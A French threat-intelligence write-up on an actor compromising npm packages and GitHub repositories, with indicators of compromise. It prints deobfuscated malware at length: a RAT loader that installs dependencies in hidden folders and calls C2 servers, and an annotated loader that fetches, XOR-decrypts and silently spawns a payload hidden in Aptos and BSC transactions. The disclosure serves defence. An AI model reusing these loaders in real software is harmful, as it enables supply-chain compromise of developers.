Vous avez peut-être entendu parler de l'histoire récente concernant un groupe d'acteurs de la menace ayant compromis 16 packages populaires liés à React Native Aria et GlueStack, que nous avons découvert et documenté ici. Auparavant, nous avions détecté qu'ils avaient compromis le package rand-user-agent le 5 mai 2025, comme cela a été rapporté ici.
Nous suivons cet acteur de la menace depuis lors et avons observé des attaques de moindre envergure que nous n'avons pas encore entièrement documentées publiquement. Cependant, nous avons voulu les compiler pour offrir une vue d'ensemble plus large de leur activité.
Premiers packages malveillants
Le 8 mai 2025, nos systèmes nous avaient déjà alertés de deux nouveaux packages sur npm qui semblaient malveillants. Il s'agit de :


Ces deux packages ont été mis en ligne par le même utilisateur, aminengineerings, enregistré avec l'adresse e-mail aminengineerings@gmail[.]com. Dès les toutes premières versions, ils contenaient tous deux la charge utile malveillante, indiquant que ce package appartient aux acteurs de la menace eux-mêmes.

Autres packages malveillants
Nous avons également observé deux packages supplémentaires publiés par l'attaquant après l'attaque sur gluestack. Les packages ont été publiés le 8 juin 2025, sous les noms tailwindcss-animate-expand et mongoose-lit. mattfarser. L'utilisateur a été rapidement supprimé par la suite.
Plus précisément, le package tailwindcss-animate-expand package est remarquable, car il présente une structure de charge utile différente. La première partie se présente comme suit :
global['r']=require;(function(){var Afr='',xzH=906-895;...Nous ne voyons plus le global[‘_V’] variable en cours de définition. Lorsque nous l'exécutons dans un sandbox, nous constatons que la charge utile finale est également légèrement différente. La charge utile se présente comme suit après désobfuscation :
global._V = 'A4';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c('child_process');
const j = c('crypto');
const k = f.platform();
const l = k.startsWith("win");
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === 'undefined' ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, 'node_modules'));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A("axios");
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
"stdio": "inherit",
windowsHide: true
};
const W = {
"stdio": "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c("axios");
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...
Ce qui est particulièrement intéressant, c'est que nous constatons que la version est A4, qui a été référencée lors de l'attaque du week-end comme un signal pour utiliser le nouveau serveur C2.
Nous constatons également que l'« ancien » serveur C2 n'est plus mentionné. Au lieu de cela, ils ont ajouté l'IP 166.88.4[.]2.
Signes avant-coureurs
En amont de cette attaque, nous avions remarqué que certains petits packages étaient compromis. Voici les packages que nous avons remarqués :
Ces packages appartiennent à trois individus différents et comptent moins de 100 téléchargements par semaine. Il semble que ces acteurs de la menace soient constamment capables de compromettre les tokens des comptes npm.
Repos GitHub compromis
En approfondissant notre enquête sur ces attaques, nous avons décidé d'examiner d'autres écosystèmes à la recherche de preuves susceptibles de nous éclairer davantage sur le mode opératoire de ces acteurs de la menace. Nous avons pu détecter 19 dépôts sur GitHub que les mêmes acteurs de la menace ont compromis :
Quelques commits se distinguent parmi ceux-ci, notamment :

L'acteur de la menace a légèrement modifié la charge utile qu'il utilise. Dans ce cas, il a encodé en base64 une charge utile, qu'il passe à eval(). Voici la charge utile décodée, annotée de commentaires qui décrivent sa fonctionnalité.
/*****************************************************************************************
* Malware “loader” that hides its real payload on two block-chains. *
* Flow ⬇️ *
* 🥇 Step-1 Read pointer on Aptos *
* 🥈 Step-2 Use pointer on Binance Smart Chain (BSC) *
* 🥉 Step-3 Pull out hidden blob *
* 🗝️ Step-4 Decode & decrypt *
* 🚀 Step-5 Run it silently *
*****************************************************************************************/
/* ───────────────────────────── Bootstrap ───────────────────────────── */
global['r'] = require; // save `require` as global.r (little obfuscation)
(async () => {
/* quick aliases */
const c = global; // shorthand for `global`
const i = c['r']; // shorthand for `require`
/* 🛠 Helper 1: GET url → JSON */
async function e (url) {
return new Promise((resolve, reject) => {
i('https')
.get(url, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject)
.end();
});
}
/* 🛠 Helper 2: call BSC JSON-RPC */
async function o (method, params = []) {
return new Promise((resolve, reject) => {
const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
const opts = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };
const req = i('https')
.request(opts, res => {
let body = '';
res.on('data', chunk => (body += chunk));
res.on('end', () => {
try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
});
})
.on('error', reject);
req.write(payload);
req.end();
});
}
/* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
async function t (aptosAccount) {
/* 🥇 STEP-1 Read pointer on Aptos */
const latestTx = await e(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
);
const bscHash = latestTx[0].payload.arguments[0]; // pointer → BSC tx-hash
/* 🥈 STEP-2 Fetch BSC transaction carrying the payload */
const bscTx = await o('eth_getTransactionByHash', [bscHash]);
const hexBlob = bscTx.result.input.slice(2); // drop "0x"
/* 🥉 STEP-3 Pull out hidden blob (still unreadable) */
const rawText = Buffer.from(hexBlob, 'hex').toString('utf8');
const b64Chunk = rawText.split('..')[1]; // keep part after ".."
/* 🗝️ STEP-4 Decode & decrypt */
const encrypted = atob(b64Chunk); // Base-64 → binary string
const KEY = '$v$5;kmc$ldm*5SA';
let payload = '';
for (let j = 0; j < encrypted.length; j++) {
payload += String.fromCharCode(
encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
);
}
return payload; // plain-text JS to execute
}
/* 🚀 STEP-5 Run it silently in the background */
try {
const script = await t(
'0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
);
i('child_process')
.spawn(
'node',
['-e', `global['_V']='${c['_V'] || 0}';${script}`],
{ detached: true, stdio: 'ignore', windowsHide: true }
)
.on('error', () => { /* swallow child errors */ });
} catch (err) {
/* stay quiet on any failure */
}
})(); Ce code est astucieux, car il s'auto-amorce partiellement à partir du contenu de deux blockchains différentes. Voici un aperçu étape par étape :
La transaction sur la Binance Smart Chain peut être trouvée ci-dessous. Il est à noter que le portefeuille et le contrat existent depuis le 7 février 2025 :
https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

Nous avons exécuté le code dans un sandbox et obtenu la charge utile finale, et c'était la même charge utile que nous avions déjà documentée auparavant, sans changements significatifs.
Conclusions
Nous constatons que l'acteur de la menace compromet activement et constamment non seulement les packages npm, mais aussi les dépôts GitHub. De plus, il a expérimenté le déploiement de ses propres packages avec son RAT. Il a également commencé à utiliser les Blockchains comme méthode de diffusion de son code malveillant.
Indicateurs de compromission
Packages
solanautilweb3-socketiotailwindcss-animate-expandmongoose-lite@lfwfinance/sdk@lfwfinance/sdk-devalgorand-htlcavm-satoshi-dicebiatec-avm-gas-stationarc200-clientcputil-node
IPs
166.88.4[.]2136.0.9[.]8
Compte Aptos
0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d
Adresse BSC
0x9BC1355344B54DEDf3E44296916eD15653844509
Contrat BSC
0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c
Sécurisez votre logiciel dès maintenant.




